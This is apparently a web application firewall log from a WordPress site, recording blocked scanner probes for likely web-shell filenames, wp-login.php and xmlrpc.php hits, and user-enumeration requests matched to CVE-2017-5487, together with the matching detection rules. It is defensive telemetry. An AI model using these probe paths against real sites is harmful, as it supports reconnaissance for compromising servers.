[Tue Mar 24 05:57:04.683256 2026] [:error] [pid 3137:tid 3145] [client 172.213.136.15:6913] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/china.php"] [unique_id "acG3MJdZesutm6dfYM_oSwAAAMY"]
[Tue Mar 24 05:57:05.969019 2026] [:error] [pid 3032:tid 3105] [client 172.213.136.15:22806] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "acG3MSa_-JXXD03-JNzLvwAAAII"]
[Tue Mar 24 05:57:07.901543 2026] [:error] [pid 64198:tid 64214] [client 172.213.136.15:40981] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "acG3M3VzJqf6OS_oSZ3UFgAAAU4"]
[Tue Mar 24 05:57:08.681051 2026] [:error] [pid 38767:tid 38770] [client 172.213.136.15:21290] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "acG3NPwkUqN4GJAI5oV_LgAAAQA"]
[Tue Mar 24 05:57:10.183639 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:27285] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "acG3NvwkUqN4GJAI5oV_MwAAARA"]
[Tue Mar 24 05:57:11.059652 2026] [:error] [pid 64198:tid 64203] [client 172.213.136.15:25851] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "acG3N3VzJqf6OS_oSZ3UHQAAAUM"]
[Tue Mar 24 05:57:13.158638 2026] [:error] [pid 64198:tid 64220] [client 172.213.136.15:36231] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "acG3OXVzJqf6OS_oSZ3UKgAAAVQ"]
[Tue Mar 24 05:57:14.705005 2026] [:error] [pid 64198:tid 64206] [client 172.213.136.15:22032] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "acG3OnVzJqf6OS_oSZ3UMwAAAUY"]
[Tue Mar 24 05:57:15.869930 2026] [:error] [pid 64198:tid 64200] [client 172.213.136.15:31729] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "acG3O3VzJqf6OS_oSZ3UOQAAAUA"]
[Tue Mar 24 05:57:17.522559 2026] [:error] [pid 3032:tid 3124] [client 172.213.136.15:6170] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "acG3PSa_-JXXD03-JNzLxQAAAJU"]
[Tue Mar 24 05:57:18.923876 2026] [:error] [pid 3032:tid 3121] [client 172.213.136.15:23211] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "acG3Pia_-JXXD03-JNzLzAAAAJI"]
[Tue Mar 24 05:57:20.699715 2026] [:error] [pid 3030:tid 3057] [client 172.213.136.15:6164] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "acG3QAyOuILyynfcqfn5QAAAAAg"]
[Tue Mar 24 05:57:22.768615 2026] [:error] [pid 3032:tid 3117] [client 172.213.136.15:22028] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "acG3Qia_-JXXD03-JNzL0wAAAI4"]
[Tue Mar 24 05:57:23.712177 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:21601] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/article.php"] [unique_id "acG3Qya_-JXXD03-JNzL1wAAAIA"]
[Tue Mar 24 05:57:25.019645 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:34757] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/article.php"] [unique_id "acG3RfwkUqN4GJAI5oV_OQAAAQg"]
[Tue Mar 24 05:57:29.650119 2026] [:error] [pid 64198:tid 64223] [client 172.213.136.15:23559] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/article.php"] [unique_id "acG3SXVzJqf6OS_oSZ3UQQAAAVc"]
[Tue Mar 24 05:57:30.654874 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:30574] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/article.php"] [unique_id "acG3SvwkUqN4GJAI5oV_SAAAAQM"]
[Tue Mar 24 05:57:31.600280 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:25715] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1337.php"] [unique_id "acG3S_wkUqN4GJAI5oV_TAAAARI"]
[Tue Mar 24 05:57:33.002394 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:39113] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1337.php"] [unique_id "acG3TfwkUqN4GJAI5oV_TgAAAQY"]
[Tue Mar 24 05:57:33.801499 2026] [:error] [pid 3137:tid 3161] [client 172.213.136.15:39104] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1337.php"] [unique_id "acG3TZdZesutm6dfYM_odwAAANY"]
[Tue Mar 24 05:57:49.327517 2026] [:error] [pid 3137:tid 3161] [client 172.213.136.15:31417] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ruzus.php"] [unique_id "acG3XZdZesutm6dfYM_onwAAANY"]
[Tue Mar 24 05:57:51.102622 2026] [:error] [pid 64198:tid 64219] [client 172.213.136.15:41734] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ruzus.php"] [unique_id "acG3X3VzJqf6OS_oSZ3UnwAAAVM"]
[Tue Mar 24 05:57:52.298018 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:35211] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ruzus.php"] [unique_id "acG3YPwkUqN4GJAI5oV_bQAAAQw"]
[Tue Mar 24 05:57:53.290297 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:24378] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ruzus.php"] [unique_id "acG3YSa_-JXXD03-JNzL7QAAAIA"]
[Tue Mar 24 05:57:54.652627 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:23083] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "acG3YvwkUqN4GJAI5oV_cwAAAQs"]
[Tue Mar 24 05:57:56.301115 2026] [:error] [pid 64198:tid 64224] [client 172.213.136.15:35250] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "acG3ZHVzJqf6OS_oSZ3UqgAAAVg"]
[Tue Mar 24 05:57:58.386580 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:40598] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "acG3ZpdZesutm6dfYM_opQAAAME"]
[Tue Mar 24 05:57:59.154005 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:24414] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "acG3Z_wkUqN4GJAI5oV_ggAAARU"]
[Tue Mar 24 05:58:01.443557 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:26121] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xcre1.php"] [unique_id "acG3afwkUqN4GJAI5oV_jgAAAQQ"]
[Tue Mar 24 05:58:02.334626 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:26156] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xcre1.php"] [unique_id "acG3avwkUqN4GJAI5oV_kAAAAQo"]
[Tue Mar 24 05:58:04.392931 2026] [:error] [pid 38767:tid 38771] [client 172.213.136.15:30210] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xcre1.php"] [unique_id "acG3bPwkUqN4GJAI5oV_lQAAAQE"]
[Tue Mar 24 05:58:05.353368 2026] [:error] [pid 38767:tid 38790] [client 172.213.136.15:31070] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xcre1.php"] [unique_id "acG3bfwkUqN4GJAI5oV_lgAAARQ"]
[Tue Mar 24 05:58:07.044404 2026] [:error] [pid 64198:tid 64201] [client 172.213.136.15:22099] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acG3b3VzJqf6OS_oSZ3UzAAAAUE"]
[Tue Mar 24 05:58:10.290469 2026] [:error] [pid 3137:tid 3162] [client 172.213.136.15:31100] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acG3cpdZesutm6dfYM_orQAAANc"]
[Tue Mar 24 05:58:11.705669 2026] [:error] [pid 64198:tid 64201] [client 172.213.136.15:35483] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acG3c3VzJqf6OS_oSZ3U2AAAAUE"]
[Tue Mar 24 08:39:09.888479 2026] [:error] [pid 3031:tid 3078] [client 182.42.110.255:40855] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acHdLaJBKytnG47nuiYBCwAAAEI"]
[Tue Mar 24 09:02:47.341179 2026] [:error] [pid 3030:tid 3066] [client 185.223.152.131:34471] [client 185.223.152.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.131, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acHitwyOuILyynfcqfkW-gAAABE"]
[Tue Mar 24 09:41:44.071273 2026] [:error] [pid 3137:tid 3142] [client 49.51.203.164:53672] [client 49.51.203.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acHr2JdZesutm6dfYM9lfgAAAMM"]
[Tue Mar 24 10:25:39.385715 2026] [:error] [pid 48219:tid 48304] [client 43.167.232.38:34872] [client 43.167.232.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acH2Iyhf3b4R_lAIyv_wCQAAAhc"]
[Tue Mar 24 12:15:09.644910 2026] [:error] [pid 64198:tid 64218] [client 103.203.175.91:53745] [client 103.203.175.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.203.175.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acIPzXVzJqf6OS_oSZ3HBQAAAVI"]
[Tue Mar 24 13:03:45.046715 2026] [:error] [pid 3032:tid 3118] [client 103.203.175.91:63355] [client 103.203.175.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acIbMSa_-JXXD03-JNwZ3wAAAI8"]
[Tue Mar 24 13:05:18.161787 2026] [:error] [pid 48214:tid 48259] [client 103.203.175.91:64263] [client 103.203.175.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.203.175.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acIbjreshLWZ3uUDHKknQgAAAcc"]
[Tue Mar 24 13:33:21.366532 2026] [:error] [pid 48219:tid 48284] [client 43.241.66.67:64019] [client 43.241.66.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.241.66.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acIiIShf3b4R_lAIyv8h7gAAAgM"]
[Tue Mar 24 13:36:51.059218 2026] [:error] [pid 38767:tid 38786] [client 43.241.66.67:63735] [client 43.241.66.67] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acIi8_wkUqN4GJAI5oVYeQAAARA"]
[Tue Mar 24 13:37:41.935530 2026] [:error] [pid 3032:tid 3109] [client 43.241.66.67:63594] [client 43.241.66.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.241.66.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acIjJSa_-JXXD03-JNweagAAAIY"]
[Tue Mar 24 17:40:13.195786 2026] [:error] [pid 64198:tid 64212] [client 49.51.253.83:54330] [client 49.51.253.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acJb_XVzJqf6OS_oSZ1ppwAAAUw"]
[Tue Mar 24 18:08:02.151947 2026] [:error] [pid 38767:tid 38773] [client 150.109.119.38:41436] [client 150.109.119.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acJigvwkUqN4GJAI5oXlcwAAAQM"]
[Tue Mar 24 18:20:32.200576 2026] [:error] [pid 48219:tid 48293] [client 91.51.72.240:60895] [client 91.51.72.240] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acJlcChf3b4R_lAIyv9jjwAAAgw"]
[Tue Mar 24 18:22:17.603946 2026] [:error] [pid 38767:tid 38775] [client 91.51.72.240:59471] [client 91.51.72.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.51.72.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acJl2fwkUqN4GJAI5oXw6QAAAQU"]
[Tue Mar 24 18:23:53.733439 2026] [:error] [pid 3137:tid 3161] [client 91.51.72.240:60392] [client 91.51.72.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.51.72.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acJmOZdZesutm6dfYM8MTwAAANY"]
[Tue Mar 24 18:25:32.961355 2026] [:error] [pid 3137:tid 3140] [client 91.51.72.240:62989] [client 91.51.72.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.51.72.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acJmnJdZesutm6dfYM8MwAAAAME"]
[Tue Mar 24 20:09:15.123119 2026] [:error] [pid 3031:tid 3082] [client 223.244.35.77:39898] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acJ-66JBKytnG47nuiY2xAAAAEY"]
